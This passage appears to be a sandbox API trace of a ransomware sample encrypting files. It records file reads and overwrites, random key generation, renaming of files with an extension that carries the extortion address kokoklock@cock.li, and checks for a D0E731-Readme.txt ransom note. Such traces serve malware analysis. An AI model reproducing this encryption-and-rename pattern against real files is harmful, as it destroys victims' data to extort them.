(HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.655] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4780 [0166.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4780) returned 1 [0166.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.656] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9d6fb14, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x9d6fb14*=0x4096, lpOverlapped=0x0) returned 1 [0166.656] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.656] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x10b42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.656] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4500*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9d6fb4c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4500*, lpNumberOfBytesWritten=0x9d6fb4c*=0x20, lpOverlapped=0x0) returned 1 [0166.656] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.656] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.656] WriteFile (in: hFile=0x528, lpBuffer=0x2fe41b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9d6fb60, lpOverlapped=0x0 | out: lpBuffer=0x2fe41b8*, lpNumberOfBytesWritten=0x9d6fb60*=0x8, lpOverlapped=0x0) returned 1 [0166.656] WriteFile (in: hFile=0x528, lpBuffer=0x9d6fb78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9d6fb60, lpOverlapped=0x0 | out: lpBuffer=0x9d6fb78*, lpNumberOfBytesWritten=0x9d6fb60*=0x4, lpOverlapped=0x0) returned 1 [0166.656] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9d6fb60, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x9d6fb60*=0x4, lpOverlapped=0x0) returned 1 [0166.656] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9d6fb60, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x9d6fb60*=0x6c, lpOverlapped=0x0) returned 1 [0166.657] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9d6fb60, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x9d6fb60*=0x20, lpOverlapped=0x0) returned 1 [0166.657] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9d6fb60, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x9d6fb60*=0x4, lpOverlapped=0x0) returned 1 [0166.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4190) returned 1 [0166.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41b8) returned 1 [0166.657] CloseHandle (hObject=0x528) returned 1 [0166.657] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.657] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.657] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.657] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.658] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.658] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.658] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.658] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.658] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1041\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0166.658] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt" [0166.658] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1041\\d0e731-readme.txt")) returned 0x20 [0166.658] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.658] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ced0) returned 1 [0166.658] RtlExitUserThread (Status=0x1) Thread: id = 1628 os_tid = 0x378 [0166.661] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.662] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.662] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.662] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x9def99c | out: lpFileSize=0x9def99c*=3835) returned 1 [0166.662] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xef7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.662] ReadFile (in: hFile=0x528, lpBuffer=0x9def970, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9def96c, lpOverlapped=0x0 | out: lpBuffer=0x9def970*, lpNumberOfBytesRead=0x9def96c*=0x4, lpOverlapped=0x0) returned 1 [0166.664] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.664] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.664] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.664] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4190 [0166.664] NtQuerySystemTime (in: CurrentTime=0x9def948 | out: CurrentTime=0x9def948*=132121213239854483) returned 0x0 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0xe6335b01 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x9eca1bd7 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x3f75de50 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x68d3da3b [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x597ce3e0 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0xf70a5693 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x5dd5c9f0 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x51cff8c7 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0xe9a90506 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x3eb02420 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x52d7c929 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x7ccbde18 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x20764b03 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x5d57cd16 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x60a4b997 [0166.664] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x8e142478 [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x4d8fcdd8 [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x7d5e5230 [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x9e1fd742 [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0xc0c262df [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x18e590c2 [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x644a7bc0 [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0xd3acef1e [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x772609fb [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x1ee21a8a [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x6a791964 [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x202268c9 [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x5465ec0e [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0xe598faf5 [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x3deac98 [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x5fa268d [0166.665] RtlRandom (in: Seed=0x9def954 | out: Seed=0x9def954) returned 0x5cabd085 [0166.675] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41b8 [0166.677] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.677] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4668 [0166.677] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.677] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.677] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.677] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.677] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.677] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.677] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.677] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.677] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0xefb, lpNumberOfBytesRead=0x9def948, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x9def948*=0xefb, lpOverlapped=0x0) returned 1 [0166.677] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9def910 | out: lpNewFilePointer=0x0) returned 1 [0166.677] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0xefb, lpNumberOfBytesWritten=0x9def944, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x9def944*=0xefb, lpOverlapped=0x0) returned 1 [0166.677] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.677] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4780 [0166.678] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4780) returned 1 [0166.678] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4500*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9def940, lpOverlapped=0x0 | out: lpBuffer=0x2fe4500*, lpNumberOfBytesWritten=0x9def940*=0x20, lpOverlapped=0x0) returned 1 [0166.678] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.678] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.678] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.678] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.678] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.678] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9def96c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4668*, lpNumberOfBytesWritten=0x9def96c*=0x8, lpOverlapped=0x0) returned 1 [0166.678] WriteFile (in: hFile=0x528, lpBuffer=0x9def984*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9def96c, lpOverlapped=0x0 | out: lpBuffer=0x9def984*, lpNumberOfBytesWritten=0x9def96c*=0x4, lpOverlapped=0x0) returned 1 [0166.678] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9def96c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x9def96c*=0x4, lpOverlapped=0x0) returned 1 [0166.678] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9def96c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x9def96c*=0x6c, lpOverlapped=0x0) returned 1 [0166.678] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9def96c, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x9def96c*=0x20, lpOverlapped=0x0) returned 1 [0166.678] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9def96c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x9def96c*=0x4, lpOverlapped=0x0) returned 1 [0166.679] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.679] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41b8) returned 1 [0166.679] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4668) returned 1 [0166.679] CloseHandle (hObject=0x528) returned 1 [0166.679] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.679] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.679] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.679] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.680] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.680] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.680] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.680] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.680] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1040\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0166.680] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt" [0166.680] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1040\\d0e731-readme.txt")) returned 0x20 [0166.680] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.680] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5430) returned 1 [0166.680] RtlExitUserThread (Status=0x1) Thread: id = 1629 os_tid = 0x390 [0166.681] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.682] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.682] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.682] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x9e6fa88 | out: lpFileSize=0x9e6fa88*=80252) returned 1 [0166.682] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x13978, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.682] ReadFile (in: hFile=0x528, lpBuffer=0x9e6fa5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9e6fa58, lpOverlapped=0x0 | out: lpBuffer=0x9e6fa5c*, lpNumberOfBytesRead=0x9e6fa58*=0x4, lpOverlapped=0x0) returned 1 [0166.683] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.684] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.684] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.684] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4640 [0166.684] NtQuerySystemTime (in: CurrentTime=0x9e6fa34 | out: CurrentTime=0x9e6fa34*=132121213240010987) returned 0x0 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xc06dc60f [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x574c7abb [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x6ea0b66d [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xc912543a [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x49c16fd8 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xdd7d0947 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xeb25e212 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x72982f4 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x9e81c73d [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x6d75a2ce [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xd9e73d8a [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xf82c5ff [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x445416cc [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xbbba0ed6 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x45efd62b [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x569d339 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x83acd723 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x9171ac56 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x4a298676 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xbaf3dd9a [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x377f8f [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x6d5c3762 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x28528750 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x774cc248 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x9df7784d [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0x38aa0132 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xb509d5fb [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xca541a6a [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xee73312e [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xccf6d040 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xcf1062a3 [0166.684] RtlRandom (in: Seed=0x9e6fa40 | out: Seed=0x9e6fa40) returned 0xbb44443a [0166.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe46e0 [0166.695] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.695] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4668 [0166.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.695] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.695] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.695] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9e6fa0c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x9e6fa0c*=0x4096, lpOverlapped=0x0) returned 1 [0166.696] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4690 [0166.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4690) returned 1 [0166.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.697] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4550 [0166.697] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47a8 [0166.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47a8) returned 1 [0166.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.697] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9e6fa0c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x9e6fa0c*=0x4096, lpOverlapped=0x0) returned 1 [0166.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.697] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1397c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.697] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9e6fa44, lpOverlapped=0x0 | out: lpBuffer=0x2fe4550*, lpNumberOfBytesWritten=0x9e6fa44*=0x20, lpOverlapped=0x0) returned 1 [0166.697] RtlFreeHeap (HeapHandle=0x2f60000, 